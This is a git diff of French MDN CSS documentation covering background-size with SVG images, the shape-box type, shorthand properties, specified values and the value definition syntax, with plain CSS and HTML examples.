+ +

Ici, on a des proportions intrinsèques. Dans ce cas, la règle 1 n'est pas pertinente et on utilise donc la règle 2 : le ratio est conservé (tout en respectant les consignes de contain ou cover). Ainsi, avec contain, la boîte de 300x200 et le ratio de 3:4 entraîneront le dessin d'un arrière-plan de 150x200.

+ +
contain
+ +
background: url(100px-height-3x4-ratio.svg);
+background-size: contain;
+
+ +

Le résultat obtenu sera :

+ +

100px-height-3x4-ratio-contain.png

+ +

On voit ici que toute l'image est affichée et est contenue dans la boîte sans être rognée.

+ +
cover
+ +
background: url(100px-height-3x4-ratio.svg);
+background-size: cover;
+
+ +

Le résultat obtenu sera :

+ +

100px-height-3x4-ratio-cover.png

+ +

Dans ce cas, le ratio 3:4 est conservé et l'image est étirée Here, the 3:4 ratio is preserved while still stretching the image to fill the entire box. That causes the bottom of the image to be clipped away.

+ +

SVG source : Aucune dimension mais des proportions intrinsèques

+ +

On obtient des résultats analogues lorsqu'on manipule une image sans dimension intrinsèque mais avec des proportions intrinsèques.

+ +
contain
+ +
background: url(no-dimensions-1x1-ratio.svg);
+background-size: contain;
+
+ +

Le résultat ressemblera à :

+ +

no-dimensions-1x1-ratio-contain.png

+ +

On voit ici que l'image est redimensionnée à la plus petite taille tout en conservant le ratio 1:1.

+ +
cover
+ +
background: url(no-dimensions-1x1-ratio.svg);
+background-size: cover;
+
+ +

Le résultat ressemblera à :

+ +

no-dimensions-1x1-ratio-cover.png

+ +

Ici, l'image est dimensionnée afin de couvrir la plus grande surface avec le ratio 1:1.

+ +

Utiliser auto pour les deux axes

+ +

Si {{cssxref("background-size")}} vaut auto ou auto auto, ce sera la règle n°2 qui s'appliquera : les proportions intrinsèques devront être conservées.

+ +

SVG source : Aucune dimension ni proportion intrinsèque

+ +

Lorsque l'image n'a aucune proportion ni dimension, ce sera la dernière règle qui s'appliquera : l'image couvrira toute la surface de la zone.

+ +
background: url(no-dimensions-or-ratio.svg);
+background-size: auto auto;
+
+ +

Voici le résultat obtenu :

+ +

auto-no-dimensions-or-ratio.png

+ +

SVG source : une dimension mais aucune proportion intrinsèque

+ +

S'il n'y a aucune proportion définie mais qu'une dimension est fournie, la règle n°3 s'appliquera et l'image sera affichée avec ces dimensions.

+ +
background: url(100px-wide-no-height-or-ratio.svg);
+background-size: auto auto;
+
+ +

Voici le résultat obtenu :

+ +

auto-100px-wide-no-height-or-ratio.png

+ +

Ici, on voit que la largeur définie par le fichier SVG (100 pixels) est respectée. L'image s'étend sur toute la hauteur de la zone de l'arrière-plan car elle n'est pas définie (explicitement dans les déclarations ou intrinsèquement via l'image).

+ +

SVG source : une dimension et des proportions intrinsèques

+ +

Si on dispose de proportions intrinsèques et d'une dimension fixée, les deux dimensions sont alors définies.

+ +
background: url(100px-height-3x4-ratio.svg);
+background-size: auto auto;
+
+ +

Le résultat sera le suivant :

+ +

auto-100px-height-3x4-ratio.png

+ +

Cette image mesure 100 pixels de haut et possède des proportions intrinsèques avec un ratio de 3:4. La largeur vaut donc 75 pixels et c'est ainsi qu'elle est affichée avec auto.

+ +

SVG source : Aucune dimension définie mais des proportions intrinsèques

+ +

Lorsqu'un ratio s'applique sans dimension, c'est la règle n°2 qui s'applique. L'image est affichée comme pour contain.

+ +
background: url(no-dimensions-1x1-ratio.svg);
+background-size: auto auto;
+
+ +

Le résultat ressemblera à :

+ +

auto-no-dimensions-1x1-ratio.png

+ +

Utiliser auto et une dimension fixée

+ +

Avec la première règle, les dimensions définies sont toujours utilisées et il faut donc utiliser les autres règles pour déterminer la seconde dimension.

+ +

SVG source : aucune dimension ni proportion intrinsèque

+ +

Si l'image ne possède ni dimension ni proportion intrinsèque, c'est la règle 4 qui s'applique et les dimensions de la zone pour l'arrière-plan seront utilisées pour auto.

+ +
background: url(no-dimensions-or-ratio.svg);
+background-size: auto 140px;
+
+ +

1auto-no-dimensions-or-ratio.png

+ +

Ici, la largeur est déterminée grâce à la zone dédiée à l'arrière-plan (règle n°4) et la hauteur est indiquée via la feuille de style (140px).

+ +

SVG source : une dimension intrinsèque mais pas de proportion intrinsèque

+ +

Si l'image possède une dimension implicite mais pas de ratio, la dimension définie sera utilisée selon la règle n°3 si elle vaut auto dans le code CSS.

+ +
background: url(100px-wide-no-height-or-ratio.svg);
+background-size: 200px auto;
+
+ +

100px-wide-no-height-or-ratio-length-auto.png

+ +

Ici, la valeur de 200px fournie dans la feuille de style surcharge la valeur de 100px définie dans le fichier SVG. Puisqu'il n'y a aucune proportion intrinsèque ni hauteur de définie et qu'on utilise la valeur auto, l'image fera la même hauteur que la zone pour l'arrière-plan.

+ +
background: url(100px-wide-no-height-or-ratio.svg);
+background-size: auto 125px;
+
+ +

100px-wide-no-height-or-ratio-auto-length.png

+ +

Ici, c'est la largeur qui vaut auto et ce sera donc la valeur définie dans l'image SVG (100px) qui sera utilisée. La hauteur est fixée à 125 pixels via la feuille de style.

+ +

SVG source : une dimension définie et des proportions intrinsèques

+ +

Lorsqu'une dimension est indiquée, la première règle s'applique et la dimension du fichier SVG est utilisée sauf si le CSS la redéfinit. Lorsqu'un ratio est indiqué, celui-ci est utilisé pour déterminer la deuxième dimension.

+ +
background: url(100px-height-3x4-ratio.svg);
+background-size: 150px auto;
+
+ +

1auto-100px-height-3x4-ratio.png

+ +

Ici, la hauteur de l'image a été surchargée pour valoir 150px. Les proportions intrinsèques permettent ensuite de définir la largeur (auto dans la feuille de style).

+ +

SVG source : aucune dimension mais des proportions intrinsèques

+ +

Si aucune dimension n'est définie dans l'image SVG, ce sera celle du CSS qui sera appliquée. Les proportions intrinsèques sont ensuite utilisées pour déterminer l'autre dimension (selon la rgèle n°2).

+ +
background: url(no-dimensions-1x1-ratio.svg);
+background-size: 150px auto;
+
+ +

1auto-no-dimensions-1x1-ratio.png

+ +

La largeur est définie à 150 pixels via la feuille de style et la hauteur est calculée à partir de cette largeur en utilisant le ratio 1:1, elle vaudra donc 150px ce qui donnera le résultat ci-dessus.

+ +

Voir aussi

+ + diff --git a/files/fr/web/css/shape-box/index.html b/files/fr/web/css/shape-box/index.html deleted file mode 100644 index de7ad2607a..0000000000 --- a/files/fr/web/css/shape-box/index.html +++ /dev/null @@ -1,169 +0,0 @@ ---- -title: -slug: Web/CSS/shape-box -tags: - - CSS - - Reference - - Type -translation_of: Web/CSS/shape-outside -translation_of_original: Web/CSS/shape-box ---- -
{{CSSRef}}
- -

Le type de donnée CSS <shape-box> permet de définir des formes relatives aux boîtes de l'élément (voir le modèle de boîtes), notamment pour la propriété {{cssxref("shape-outside")}}.

- -

Valeurs

- -
-
margin-box
-
La forme correspond à la forme dessinée par le contour extérieur de la boîte de marge. Les rayons des coins de la forme sont définis grâce aux propriétés {{cssxref("border-radius")}} et {{cssxref("margin")}}. Si le ratio border-radius / margin est supérieur ou égal à 1, le rayon du coin de la boîte sera border-radius + margin. Si le ratio border-radius / margin est inférieur à 1, le rayon du coin de la boîte sera border-radius + (margin * (1 + (ratio-1)^3)).
-
border-box
-
La forme correspond à la forme dessinée par le contour extérieur de la boîte de bordure. Elle suit donc les règles normales de mise en forme de la bordure (notamment pour les coins arrondis).
-
padding-box
-
La forme correspond à la forme dessinée par le contour extérieur de la boîte de remplissage (padding). Elle suit les règles normales de mise en forme de la bordure (notamment pour les coins arrondis).
-
content-box
-
La forme correspond à la forme dessinée par le contour extérieur de la boîte de contenu. Le rayon de chaque coin correspondra à la valeur maximale entre 0 et border-radius - border-width - padding.
-
- -

Exemples

- -

CSS

- -
.main {
-    width: 500px;
-    height: 200px;
-}
-
-.left {
-    -webkit-shape-outside: polygon(0 0, 100% 100%, 0 100%);
-    float: left;
-    width: 40%;
-    height: 12ex;
-    background-color: lightgray;
-    -webkit-clip-path: polygon(0 0, 100% 100%, 0 100%);
-}
-
-.right {
-    -webkit-shape-outside: polygon(100% 0, 100% 100%, 0 100%);
-    float: right;
-    width: 40%;
-    height: 12ex;
-    background-color: lightgray;
-    -webkit-clip-path: polygon(100% 0, 100% 100%, 0 100%);
-}
-
-p {
-    text-align: center;
-}
- -

HTML

- -
<div class="main">
-    <div class="left"></div>
-    <div class="right"></div>
-    <p>
-      Sometimes a web page's text content appears to be
-      funneling your attention towards a spot on the page
-      to drive you to follow a particular link. Sometimes
-      you don't notice.
-    </p>
-</div>
- -

Résultat

- -

{{EmbedLiveSample('Exemples',"100%","100%")}}

- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('CSS Shapes', '#typedef-shape-box', '<shape-box>')}}{{Spec2('CSS Shapes')}}Définition initiale.
- -

Compatibilité des navigateurs

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - -
FonctionnalitéChromeFirefox (Gecko)Internet ExplorerOperaSafari
Support simple{{compatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{compatVersionUnknown}}
\xx{{compatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{compatVersionUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FonctionnalitéAndroidChrome pour AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Support simple{{compatVersionUnknown}}{{compatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{compatVersionUnknown}}
\xx{{compatVersionUnknown}}{{compatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{compatVersionUnknown}}
-
- -

Voir aussi

- - diff --git a/files/fr/web/css/shorthand_properties/index.html b/files/fr/web/css/shorthand_properties/index.html new file mode 100644 index 0000000000..6c390b9dc8 --- /dev/null +++ b/files/fr/web/css/shorthand_properties/index.html @@ -0,0 +1,155 @@ +--- +title: Propriétés raccourcies +slug: Web/CSS/Propriétés_raccourcies +tags: + - CSS + - Guide + - Reference +translation_of: Web/CSS/Shorthand_properties +--- +
{{CSSRef}}
+ +

Les propriétés raccourcies sont des propriétés CSS qui permettent de définir la valeur de plusieurs propriétés via une seule déclaration. En manipulant des propriétés raccourcies, un développeur web peut créer des feuilles de style plus concises et plus lisibles, améliorant ainsi la maintenabilité.

+ +

La spécification CSS définit les propriétés raccourcies en regroupant la définition des propriétés agissant sur le même aspect de l'élément. Ainsi, la propriété {{cssxref("background")}} est une propriété raccourcie qui permettra de définir {{cssxref("background-color")}}, {{cssxref("background-image")}}, {{cssxref("background-repeat")}} et {{cssxref("background-position")}}. De même, les propriétés fréquemment utilisées pour la mise en forme des polices de caractères (font) peuvent être définies via la propriété raccourcie {{cssxref("font")}} et celles qui concernent la marge avec la propriété raccourcie {{cssxref("margin")}}.

+ +

Quelques cas aux limites épineux

+ +

Bien que les propriétés raccourcies soient pratiques à utiliser. Il est nécessaire de noter certains éléments pour parer aux cas étranges qui peuvent survenir :

+ +
    +
  1. Une valeur qui n'est pas définie pour la propriété raccourcie sera réinitialisée avec sa valeur initiale. Cela peut sembler anecdotique mais attention aux valeurs qui seront surchargées et à l'ordre des déclarations. Ainsi : + + 
    background-color: red;
+background: url(images/bg.gif) no-repeat top right;
+
    + ne définira pas la couleur d'arrière-plan en rouge mais avec la valeur par défaut de {{cssxref("background-color")}} transparent car la deuxième déclaration prend le pas sur la première.
    2. +
  2. L'héritage des propriétés ne peut avoir lieu qu'avec les propriétés individuelles . En effet, les valeurs absentes sont remplacées par leurs valeurs initiales et il est donc impossible d'hériter des valeurs en les omettant. Le mot-clé {{cssxref("inherit")}} pourra être appliqué à une propriété mais ce sera sur l'ensemble et non pour une valeur donnée ou une autre. Ainsi, pour utiliser une valeur héritée sur une propriété spécifique, il faudra utiliser cette propriété « longue » avec le mot-clé inherit.
    3. +
  3. Les propriétés raccourcies n'ont pas d'ordre spécifique pour trier les valeurs des propriétés détaillées qu'elles remplacent. Cela fonctionne sans problème lorsque les différentes propriétés utilisent différents types de valeurs car l'ordre n'a alors aucune importance. Toutefois, lorsque les différentes propriétés peuvent prendre les mêmes valeurs, cela n'est pas si simple. On peut regrouper les différents cas en deux catégories distinctes : +
      +
    1. Les propriétés raccourcies qui gèrent les bords d'une boîte telles que {{cssxref("border-style")}}, {{cssxref("margin")}} ou {{cssxref("padding")}}. Elles utilisent une méthode constante selon qu'elles reçoivent 1 à 4 valeurs : + + + + + + + + + + + + + + + + + + + +
      border1.png1 valeur : border-width: 1em — La valeur unique s'adresse à tous les côtés.
      border2.png2 valeurs : border-width: 1em 2em — La première valeur représente les côtés horizontaux en haut et en bas. La seconde valeur représente les côtés verticaux, à gauche et à droite.
      border3.png3 valeurs : border-width: 1em 2em 3em — La première valeur représente le côté haut, la deuxième les côtés gauche et droit et la troisième représente le côté bas.
      border4.png +

      4 valeurs : border-width: 1em 2em 3em 4em — Les quatre valeurs représentent respectivement le côté haut, le côté droit, le côté bas et le côté haut, toujours dans cet ordre (le sens horaire).

      +
      +
      2. +
    2. De la même façon, les propriétés raccourcies relatives aux coins d'une boîte comme {{cssxref("border-radius")}} utilisent une méthode constante selon qu'elles reçoivent 1 à 4 valeurs : + + + + + + + + + + + + + + + + + + + +
      corner1.png1 valeur : border-radius: 1em — La valeur s'applique à tous les coins.
      corner2.png2 valeurs : border-radius: 1em 2em — La première valeur s'applique aux coins en haut à gauche et en bas à droite et la deuxième s'applique aux coins en haut à droite et en bas à gauche.
      corner3.png3 valeurs : border-radius: 1em 2em 3em — La première valeur représente le coin en haut à gauche, la deuxième représente les coins en haut à droite et en bas à gauche et la troisième valeur représente le coin en bas à droite.
      corner4.png +

      4 valeurs : border-radius: 1em 2em 3em 4em — Les quatre valeurs s'appliquent respectivement au coin en haut à gauche, en haut à droite, en bas à droite et en bas à gauche, toujours dans cet ordre (le sens horaire).

      +
      +
      3. +
    +
    4. +
+ +

Les propriétés concernant l'arrière-plan

+ +

Lorsqu'on décrit un arrière-plan avec les propriétés suivantes :

+ +
background-color: #000;
+background-image: url(images/bg.gif);
+background-repeat: no-repeat;
+background-position: top right;
+ +

On peut le faire de façon plus concise grâce à la propriété raccourcie. Voici la déclaration équivalent :

+ +
background: #000 url(images/bg.gif) no-repeat top right;
+ +
+

Note : Pour être tout à fait précis, la forme raccourcie présentée juste avant est équivalente aux propriétés détaillées qui précèdent auxquelles on ajoute background-attachment: scroll et d'autres propriétés avec CSS3).

+
+ +

Pour plus d'informations, voir {{cssxref("background")}}.

+ +

Les propriétés liées à la police (font)

+ +

Les déclarations suivantes :

+ +
font-style: italic;
+font-weight: bold;
+font-size: .8em;
+line-height: 1.2;
+font-family: Arial, sans-serif;
+ +

Peuvent être synthétisées en une seule déclaration avec la propriété raccourcie :

+ +
font: italic bold .8em/1.2 Arial, sans-serif;
+ +
+

Note : Pour être tout à fait précis, la déclaration raccourcie précédente est équivalente aux déclarations détaillées ci-avant auxquelles on ajoutera font-variant: normal et font-size-adjust: none (CSS2.0 / CSS3), font-stretch: normal (CSS3).

+
+ +

Les propriétés liées aux bordures

+ +

Avec les bordures, la largeur, la couleur et le style peuvent être regroupés en une seule déclaration. Par exemple,

+ +
border-width: 1px;
+border-style: solid;
+border-color: #000;
+ +

peut être écrit ainsi :

+ +
border: 1px solid #000;
+ +

Les propriétés liées à la marge et au remplissage (padding)

+ +

Les propriétés raccourcies agissant sur la boîte de marge ou sur la boîte de remplissage (padding) fonctionnent de la même façon. Ainsi, les déclarations CSS suivantes :

+ +
margin-top: 10px;
+margin-right: 5px;
+margin-bottom: 10px;
+margin-left: 5px;
+ +

sont équivalentes à la déclaration qui suit (on notera que les valeurs sont ordonnés dans le sens horaire : haut, droit, bas, gauche ; un moyen mnémotechnique est d'utiliser l'acronyme anglais TRBL qui ressemble à trouble) :

+ +
margin: 10px 5px 10px 5px;
+ +

La propriété raccourcie universelle

+ +

CSS fournit une propriété raccourcie qui permet d'appliquer une même valeur à l'ensemble des propriétés du document : {{cssxref("all")}}.

+ +

Voir l'article sur la cascade et l'héritage pour plus d'informations sur le fonctionnement de l'héritage.

+ +

Voir aussi

+ +
    +
  • La référence CSS
    • +
  • Les propriétés raccourcies : {{cssxref("animation")}}, {{cssxref("background")}}, {{cssxref("border")}}, {{cssxref("border-bottom")}}, {{cssxref("border-color")}}, {{cssxref("border-left")}}, {{cssxref("border-radius")}}, {{cssxref("border-right")}}, {{cssxref("border-style")}}, {{cssxref("border-top")}}, {{cssxref("border-width")}}, {{cssxref("column-rule")}}, {{cssxref("columns")}}, {{cssxref("flex")}}, {{cssxref("flex-flow")}}, {{cssxref("font")}}, {{cssxref("grid")}}, {{cssxref("grid-area")}}, {{cssxref("grid-column")}}, {{cssxref("grid-row")}}, {{cssxref("grid-template")}}, {{cssxref("list-style")}}, {{cssxref("margin")}}, {{cssxref("offset")}}, {{cssxref("outline")}}, {{cssxref("overflow")}}, {{cssxref("padding")}}, {{cssxref("place-content")}}, {{cssxref("place-items")}}, {{cssxref("place-self")}}, {{cssxref("text-decoration")}}, {{cssxref("transition")}}
    • +
diff --git a/files/fr/web/css/specified_value/index.html b/files/fr/web/css/specified_value/index.html new file mode 100644 index 0000000000..14eb3d9e5a --- /dev/null +++ b/files/fr/web/css/specified_value/index.html @@ -0,0 +1,85 @@ +--- +title: Valeur spécifiée +slug: Web/CSS/Valeur_spécifiée +tags: + - CSS + - Cascade + - Reference +translation_of: Web/CSS/specified_value +--- +
{{CSSRef}}
+ +

La valeur définie d'une propriété CSS est celle explicitement définie dans la feuille de style ou grâce au style de son élément parent. Elle est déterminée selon une des trois méthodes suivantes :

+ +
    +
  1. Si la feuille de style du document a une valeur définie pour la propriété, alors c'est cette valeur qui est utilisée. Par exemple, si la propriété {{cssxref("color")}} est définie à green alors la couleur du texte des éléments correspondants sera verte.
    2. +
  2. Si la feuille de style du document n'a pas de valeur définie, alors, si c'est possible, elle sera héritée de l'élément parent. Par exemple, si on a un paragraphe ({{HTMLElement("p")}}) dans un {{HTMLElement("div")}} et que le {{HTMLElement("div")}} est ciblée par une déclaration CSS où font vaut Arial et qu'il n'y a pas de règle font pour {{HTMLElement("p")}}, ce dernier héritera de la police Arial.
    3. +
  3. Si aucun des cas précédents ne s'applique, c'est la valeur initiale de la propriété CSS qui est appliquée.
    4. +
+ +

Exemples

+ +

HTML

+ +
<p>Ma couleur provient explicitement de la feuille de style CSS.</p>
+
+<div>Les valeurs définies de mes propriétés utilisent
+    les valeurs initiales (par défaut) car aucune n'est fournie
+    dans la feuille de style CSS.</div>
+
+<div class="fun">
+  <p>La valeur définie pour ma police n'est pas fournie explicitement
+     dans la feuille de style et est donc héritée de mon parent.
+     Toutefois, la bordure n'est pas une propriété héritée.</p>
+</div>
+ +

CSS

+ +
.fun {
+  border: 1px dotted pink;
+  font-family: fantasy;
+}
+
+p {
+  color: green;
+}
+
+ +

Résultat

+ +

{{EmbedLiveSample("Exemples", 500, 220)}}

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName("CSS2.2", "cascade.html#specified-value", "cascaded value")}}{{Spec2("CSS2.2")}}
{{SpecName("CSS2.1", "cascade.html#specified-value", "cascaded value")}}{{Spec2("CSS2.1")}}Définition initiale.
+ +

Voir aussi

+ + diff --git "a/files/fr/web/css/syntaxe_de_d\303\251finition_des_valeurs/index.html" "b/files/fr/web/css/syntaxe_de_d\303\251finition_des_valeurs/index.html" deleted file mode 100644 index 2acb4d1da7..0000000000 --- "a/files/fr/web/css/syntaxe_de_d\303\251finition_des_valeurs/index.html" +++ /dev/null @@ -1,421 +0,0 @@ ---- -title: Syntaxe de définition des valeurs -slug: Web/CSS/Syntaxe_de_définition_des_valeurs -tags: - - CSS - - Débutant - - Reference -translation_of: Web/CSS/Value_definition_syntax ---- -
{{CSSRef}}
- -

La syntaxe de définition des valeurs CSS est une grammaire formelle qui définit les règles pour créer des règles CSS valides. En plus de ces règles, il peut y avoir des contraintes sémantiques (ex. un nombre doit être positif pour une propriété donnée).

- -

La syntaxe de définition décrit les valeurs qui sont permises et les interactions entre ces valeurs. Un composant peut-être un mot-clé, un littéral, une valeur d'un type donné ou une autre propriété CSS.

- -

Les types de composants

- -

Les mots-clés

- -

Les mots-clés génériques

- -

Un mot-clé avec une signification prédéfinie, qui peut apparaître littéralement, sans apostrophes ou guillemets (ex. auto, smaller ou ease-in).

- -

inherit, initial et unset

- -

Toutes propriétés CSS acceptent les mots-clés inherit, initial et unset définies par la spécification CSS. Ces mots-clés ne sont pas listés dans la définition de la syntaxe et sont définies implicitement.

- -

Les littéraux

- -

En CSS, quelques caractères peuvent apparaître directement (ex. la barre oblique « / » ou la virgule « , ») et sont utilisés dans les définitions d'une propriété pour séparer ses composantes. La virgule est généralement utilisée pour séparer des valeurs d'une liste ou des paramètres d'une fonction. La barre oblique sépare des composantes sémantiquement différentes mais avec une syntaxe similaire. Généralement, la barre oblique est utilisée dans les propriétés raccourcies pour séparer les composants du même type mais qui sont associés aux différentes propriétés détaillées.

- -

Ces deux symboles sont utilisés tels quels dans la définition d'une valeur.

- -

Les types de donnée

- -

Les types de donnée simples

- -

Certains types de donnée sont utilisés pour différentes propriétés et sont définis pour l'ensemble des valeurs de la spécification. Ce sont les types de donnée simples et sont représentés par leur nom encadré par des chevrons (le type angle est donc représenté par : {{ cssxref("<angle>") }}, {{cssxref("<string>")}}, et ainsi de suite).

- -

Les types de donnée non terminaux

- -

D'autres types de donnée, moins utilisés, sont appelés types de donné non-terminaux et sont également encadrés par des chevrons.

- -

Les types de donnée non terminaux sont de deux sortes :

- -
    -
  • Les types de donnée qui utilisent le même nom qu'une propriété. Dans ce cas, le type de donnée correspond à l'ensemble des valeurs utilisé par la propriété. Ceux-ci sont généralement utilisés dans les définitions des propriétés raccourcies.
    • -
  • Les types de donnée dont le nom de n'est pas celui d'une propriété. Ces types de donnée sont très proches des types simples. La seule différence est l'emplacement de leur définition : dans ce cas, la définition est généralement très proche de la définition de la propriété qui les utilise.
    • -
- -

Les combinateurs

- -

Les crochets

- -

Les crochets permettent de regrouper plusieurs entités, combinateurs et multiplicateurs pour les transformer en un seul composant. Cela permet de grouper les composants afin d' appliquer des règles de priorités (supérieures aux règles de précédence).

- -
bold [ thin && <length> ]
- -

Cet exemple pourra illustrer les valeurs suivantes :

- -
    -
  • bold thin 2vh
    • -
  • bold 0 thin
    • -
  • bold thin 3.5em
    • -
- -

Mais ne correspondra pas à :

- -
    -
  • thin bold 3em car bold est juxtaposé au composant défini entre les crochets alors qu'il doit apparaître avant.
    • -
- -

Juxtaposition

- -

Si on place plusieurs mots-clés, littéraux ou types de donnée les uns à la suite des autres, séparés par un ou plusieurs blancs, cela indique que tous les composants sont obligatoires et doivent apparaître dans cet ordre.

- -
bold <length> , thin
-
- -

Cet exemple pourra illustrer les valeurs suivantes :

- -
    -
  • bold 1em, thin
    • -
  • bold 0, thin
    • -
  • bold 2.5cm, thin
    • -
  • bold 3vh, thin
    • -
- -

Mais il ne correspondra pas à :

- -
    -
  • thin 1em, bold car les entités ne sont pas dans l'ordre indiqué
    • -
  • bold 1em thin car les entités sont obligatoires et la virgule qui est un littéral doit être présente
    • -
  • bold 0.5ms, thin car les valeurs ms ne sont pas des valeurs du type {{cssxref("<length>")}}
    • -
- -

Double esperluette

- -

Lorsqu'on sépare deux ou plusieurs composants par une double esperluette, cela signifie que toutes les entités sont obligatoires mais peuvent apparaître dans n'importe quel ordre.

- -
bold && <length>
-
- -

Cet exemple pourra illustrer les valeurs suivantes :

- -
    -
  • bold 1em
    • -
  • bold 0
    • -
  • 2.5cm bold
    • -
  • 3vh bold
    • -
- -

Mais il ne correspondra pas à :

- -
    -
  • bold car les deux composants doivent apparaître.
    • -
  • bold 1em bold car les deux composants doivent apparaître exactement une fois.
    • -
- -
Note : La juxtaposition est prioritaire par rapport à la double esperluette. bold thin && <length> est donc équivalent à [ bold thin ] && <length>. Il décrit bold thin <length> ou <length> bold thin mais pas bold <length> thin.
- -

Double barre

- -

Lorsque deux ou plusieurs composants sont séparés par une double barre verticale ||. Cela signifie qu'au moins un composant doit être présent et qu'ils peuvent apparaître dans n'importe quel ordre. Généralement, ceci est utilisé pour définir les différentes valeurs d'une propriété raccourcie.

- -
<'border-width'> || <'border-style'> || <'border-color'>
-
- -

Cet exemple pourra illustrer les valeurs suivantes :

- -
    -
  • 1em solid blue
    • -
  • blue 1em
    • -
  • solid 1px yellow
    • -
- -

Mais il ne correspondra pas à :

- -
    -
  • blue yellow car le composant doit apparaître au plus une fois.
    • -
  • bold car le mot-clé n'est pas permis pour aucune valeur de l'entité.
    • -
- -
Note : La double esperluette est prioritaire par rapport à la double barre. bold || thin && <length> est équivalent à bold || [ thin && <length> ] qui décrit bold, thin <length>, bold thin <length>, ou thin <length> bold mais pas <length> bold thin car bold, s'il est présent doit apparaître avant thin && <length>.
- -

La barre verticale

- -

Lorsqu'on sépare deux entités par une barre verticale. Cela signifie que les différentes options sont exclusives : seule une des options doit être présente. Généralement, cela permet de séparer différents mots-clés possible.

- -
<percentage> | <length> | left | center | right | top | bottom
- -

Cet exemple pourra illustrer les valeurs suivantes :

- -
    -
  • 3%
    • -
  • 0
    • -
  • 3.5em
    • -
  • left
    • -
  • center
    • -
  • right
    • -
  • top
    • -
  • bottom
    • -
- -

Mais il ne correspondra pas à :

- -
    -
  • center 3% car seul un seul des composants doit être présent.
    • -
  • 3em 4.5em car un composant doit être présent au plus une seule fois.
    • -
- -
-

Note : La double barre verticale est prioritaire par rapport à la simple barre verticale. Ainsi bold | thin || <length> est équivalent à bold | [ thin || <length> ] qui décrit bold, thin, <length>, <length> thin ou thin <length> mais pas bold <length> car seule entité peut être présente.

-
- -

Les multiplicateurs

- -

Un multiplicateur est un signe qui indique nombre de fois qu'une entité peut être répétée. Sans aucun multiplicateur, une entité doit apparaître exactement une fois.

- -

L'astérisque (*)

- -

L'astérisque indique qu'une entité peut apparaître zéro, une ou plusieurs fois.

- -
bold smaller*
- -

Cet exemple pourra illustrer les valeurs suivantes :

- -
    -
  • bold
    • -
  • bold smaller
    • -
  • bold smaller smaller
    • -
  • bold smaller smaller smaller and so on.
    • -
- -

Mais il ne correspondra pas à :

- -
    -
  • smaller car bold est juxtaposé et doit apparaître avant le mot-clé smaller.
    • -
- -

Plus (+)

- -

Le multiplicateur « plus » indique que l'entité peut apparaître une ou plusieurs fois.

- -
bold smaller+
- -

Cet exemple pourra illustrer les valeurs suivantes :

- -
    -
  • bold smaller
    • -
  • bold smaller smaller
    • -
  • bold smaller smaller smaller and so on.
    • -
- -

Mais il ne correspondra pas à :

- -
    -
  • bold car smaller doit apparaître au moins une fois
    • -
  • smaller car bold est juxtaposé et doit apparaitre avant smaller.
    • -
- -

Le point d'interrogation (?)

- -

Le point d'interrogation indique que l'entité est optionnelle et doit apparaître zéro ou une fois.

- -
bold smaller?
- -

Cet exemple pourra illustrer les valeurs suivantes :

- -
    -
  • bold
    • -
  • bold smaller
    • -
- -

Mais il ne correspondra pas à :

- -
    -
  • bold smaller smaller car smaller doit apparaître au plus une fois
    • -
  • smaller car bold est juxtaposé et doit apparaître avant le mot-clé smaller s'il est présent.
    • -
- -

Les accolades ({ })

- -

Les accolades encadrent deux entiers A et B, séparés par une virgule et indiquent que l'entité doit apparaître au moins A fois et au plus B fois.

- -
bold smaller{1,3}
- -

Cet exemple pourra illustrer les valeurs suivantes :

- -
    -
  • bold smaller
    • -
  • bold smaller smaller
    • -
  • bold smaller smaller smaller
    • -
- -

Mais il ne correspondra pas à :

- -
    -
  • bold car smaller doit apparaître au moins une fois.
    • -
  • bold smaller smaller smaller smaller car smaller doit apparaître au plus trois fois.
    • -
  • smaller car bold est juxtaposé et doit apparaître avant le mot-clé smaller.
    • -
- -

Dièse (#)

- -

Le symbole dièse indique qu'une entité doit être répétée une ou plusieurs fois et que chaque occurrence est séparée par une virgule.

- -
bold smaller#
- -

Cet exemple pourra illustrer les valeurs suivantes :

- -
    -
  • bold smaller
    • -
  • bold smaller, smaller
    • -
  • bold smaller, smaller, smaller and so on.
    • -
- -

Mais il ne correspondra pas à :

- -
    -
  • bold car smaller doit apparaître au moins une fois.
    • -
  • bold smaller smaller smaller car les différentes occurrences de smaller doivent être séparées par des virgules.
    • -
  • smaller car bold est juxtaposé et doit apparaître avant toute occurrence du mot-clé smaller.
    • -
- -

Point d'exclamation (!)

- -

Le multiplicateur point d'exclamation est utilisé après un groupe pour indiquer que celui-ci ne doit produire qu'une seule valeur. Ici, même si la grammaire des éléments du groupe indiquent que tous les composants peuvent être absents, il faut qu'il y ait au moins un composant présent.

- -
[ bold? smaller? ]!
-
- -

Cet exemple correspondra aux valeurs suivantes :

- -
    -
  • bold
    • -
  • smaller
    • -
  • bold smaller
    • -
- -

Mais pas à :

- -
    -
  • ni bold ni smaller, car il faut au moins l'un des deux.
    • -
  • smaller bold, car bold est juxtaposé et doit apparaître avant le mot-clé smaller.
    • -
  • bold smaller bold, car bold et smaller doivent apparaître au plus une fois.
    • -
- -

Récapitulatif

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SigneNomDescriptionExemple
Combinateurs
 JuxtapositionLes composants sont obligatoires et doivent apparaître dans cet ordre.solid <length>
&&Double esperluetteLes composants sont obligatoires mais peuvent apparaître dans n'importe quel ordre.<length> && <string>
||Double barreAu moins un des composants doit être présent et ils peuvent apparaître dans n'importe quel ordre.<'border-image-outset'> || <'border-image-slice'>
|Barre simpleUn et un seul des composants doit être présent.smaller | small | normal | big | bigger
[ ]CrochetsLes composants peuvent être groupés pour avoir une priorité supérieure aux règles précédentes.bold [ thin && <length> ]
Multiplicateurs
 Aucun multiplicateurExactement 1 fois.solid
*Astérisque0 ou plus.bold smaller*
+Signe plus1 ou plus.bold smaller+
